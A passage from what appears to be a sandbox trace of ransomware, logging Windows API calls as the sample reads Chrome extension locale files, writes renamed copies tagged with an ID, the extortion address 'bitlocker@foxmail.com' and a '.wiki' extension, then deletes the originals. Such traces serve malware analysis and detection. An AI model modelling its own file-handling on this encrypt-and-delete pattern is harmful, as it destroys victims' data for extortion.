4 [0172.825] lstrcmpiW (lpString1=".jpg", lpString2="n.js") returned -1 [0172.826] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.826] lstrlenW (lpString="messages.json") returned 13 [0172.826] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0172.826] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=216) returned 1 [0172.826] CloseHandle (hObject=0x320) returned 1 [0172.826] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json")) returned 0x2020 [0172.826] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.826] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0172.826] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.826] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.826] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0172.827] GetLastError () returned 0x0 [0172.827] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xd8, lpOverlapped=0x0) returned 1 [0172.828] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0172.829] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.829] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.829] SetEndOfFile (hFile=0x19c) returned 1 [0172.829] CloseHandle (hObject=0x19c) returned 1 [0172.829] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.829] SetEndOfFile (hFile=0x320) returned 1 [0172.830] CloseHandle (hObject=0x320) returned 1 [0172.830] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.830] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json")) returned 1 [0172.830] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json") returned 151 [0172.830] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json") returned 151 [0172.830] lstrlenW (lpString=".doc") returned 4 [0172.830] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.830] lstrlenW (lpString=".docx") returned 5 [0172.830] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.830] lstrlenW (lpString=".pdf") returned 4 [0172.830] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.831] lstrlenW (lpString=".xls") returned 4 [0172.831] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.831] lstrlenW (lpString=".xlsx") returned 5 [0172.831] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.831] lstrlenW (lpString=".ppt") returned 4 [0172.831] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.831] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json") returned 151 [0172.831] lstrlenW (lpString=".zip") returned 4 [0172.831] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.831] lstrlenW (lpString=".rar") returned 4 [0172.831] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.831] lstrlenW (lpString=".bz2") returned 4 [0172.831] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.831] lstrlenW (lpString=".7z") returned 3 [0172.831] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.831] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json") returned 151 [0172.831] lstrlenW (lpString=".dbf") returned 4 [0172.831] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.831] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json") returned 151 [0172.831] lstrlenW (lpString=".1cd") returned 4 [0172.831] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.831] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json") returned 151 [0172.831] lstrlenW (lpString=".jpg") returned 4 [0172.831] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.831] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json") returned 151 [0172.831] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json") returned 151 [0172.831] lstrlenW (lpString=".doc") returned 4 [0172.831] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.831] lstrlenW (lpString=".docx") returned 5 [0172.831] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.832] lstrlenW (lpString=".pdf") returned 4 [0172.832] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.832] lstrlenW (lpString=".xls") returned 4 [0172.832] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.832] lstrlenW (lpString=".xlsx") returned 5 [0172.832] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.832] lstrlenW (lpString=".ppt") returned 4 [0172.832] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.832] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json") returned 151 [0172.832] lstrlenW (lpString=".zip") returned 4 [0172.832] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.832] lstrlenW (lpString=".rar") returned 4 [0172.832] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.832] lstrlenW (lpString=".bz2") returned 4 [0172.832] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.832] lstrlenW (lpString=".7z") returned 3 [0172.832] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.832] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json") returned 151 [0172.832] lstrlenW (lpString=".dbf") returned 4 [0172.832] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.832] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json") returned 151 [0172.832] lstrlenW (lpString=".1cd") returned 4 [0172.832] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.832] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json") returned 151 [0172.832] lstrlenW (lpString=".jpg") returned 4 [0172.832] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.833] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.833] lstrlenW (lpString="messages.json") returned 13 [0172.833] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0172.833] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=217) returned 1 [0172.833] CloseHandle (hObject=0x320) returned 1 [0172.833] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json")) returned 0x2020 [0172.833] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.833] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0172.833] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.833] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.833] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0172.834] GetLastError () returned 0x0 [0172.834] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xd9, lpOverlapped=0x0) returned 1 [0172.835] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0172.836] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.836] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.836] SetEndOfFile (hFile=0x19c) returned 1 [0172.836] CloseHandle (hObject=0x19c) returned 1 [0172.836] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.836] SetEndOfFile (hFile=0x320) returned 1 [0172.837] CloseHandle (hObject=0x320) returned 1 [0172.837] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.837] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json")) returned 1 [0172.837] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json") returned 151 [0172.837] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json") returned 151 [0172.837] lstrlenW (lpString=".doc") returned 4 [0172.837] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.837] lstrlenW (lpString=".docx") returned 5 [0172.837] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.837] lstrlenW (lpString=".pdf") returned 4 [0172.838] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.838] lstrlenW (lpString=".xls") returned 4 [0172.838] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.838] lstrlenW (lpString=".xlsx") returned 5 [0172.838] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.838] lstrlenW (lpString=".ppt") returned 4 [0172.838] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.838] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json") returned 151 [0172.838] lstrlenW (lpString=".zip") returned 4 [0172.838] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.838] lstrlenW (lpString=".rar") returned 4 [0172.838] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.838] lstrlenW (lpString=".bz2") returned 4 [0172.838] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.838] lstrlenW (lpString=".7z") returned 3 [0172.838] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.838] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json") returned 151 [0172.838] lstrlenW (lpString=".dbf") returned 4 [0172.838] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.838] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json") returned 151 [0172.838] lstrlenW (lpString=".1cd") returned 4 [0172.838] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.838] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json") returned 151 [0172.838] lstrlenW (lpString=".jpg") returned 4 [0172.838] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.838] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json") returned 151 [0172.838] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json") returned 151 [0172.838] lstrlenW (lpString=".doc") returned 4 [0172.838] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.838] lstrlenW (lpString=".docx") returned 5 [0172.839] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.839] lstrlenW (lpString=".pdf") returned 4 [0172.839] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.839] lstrlenW (lpString=".xls") returned 4 [0172.839] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.839] lstrlenW (lpString=".xlsx") returned 5 [0172.839] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.839] lstrlenW (lpString=".ppt") returned 4 [0172.839] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.839] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json") returned 151 [0172.839] lstrlenW (lpString=".zip") returned 4 [0172.839] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.839] lstrlenW (lpString=".rar") returned 4 [0172.839] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.839] lstrlenW (lpString=".bz2") returned 4 [0172.839] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.839] lstrlenW (lpString=".7z") returned 3 [0172.839] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.839] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json") returned 151 [0172.839] lstrlenW (lpString=".dbf") returned 4 [0172.839] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.839] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json") returned 151 [0172.839] lstrlenW (lpString=".1cd") returned 4 [0172.839] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.839] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json") returned 151 [0172.839] lstrlenW (lpString=".jpg") returned 4 [0172.839] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.839] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.840] lstrlenW (lpString="messages.json") returned 13 [0172.840] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0172.840] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=260) returned 1 [0172.840] CloseHandle (hObject=0x320) returned 1 [0172.840] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json")) returned 0x2020 [0172.840] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.840] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0172.840] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.840] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.841] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0172.841] GetLastError () returned 0x0 [0172.841] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x104, lpOverlapped=0x0) returned 1 [0172.842] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x110, lpOverlapped=0x0) returned 1 [0172.843] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.843] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, 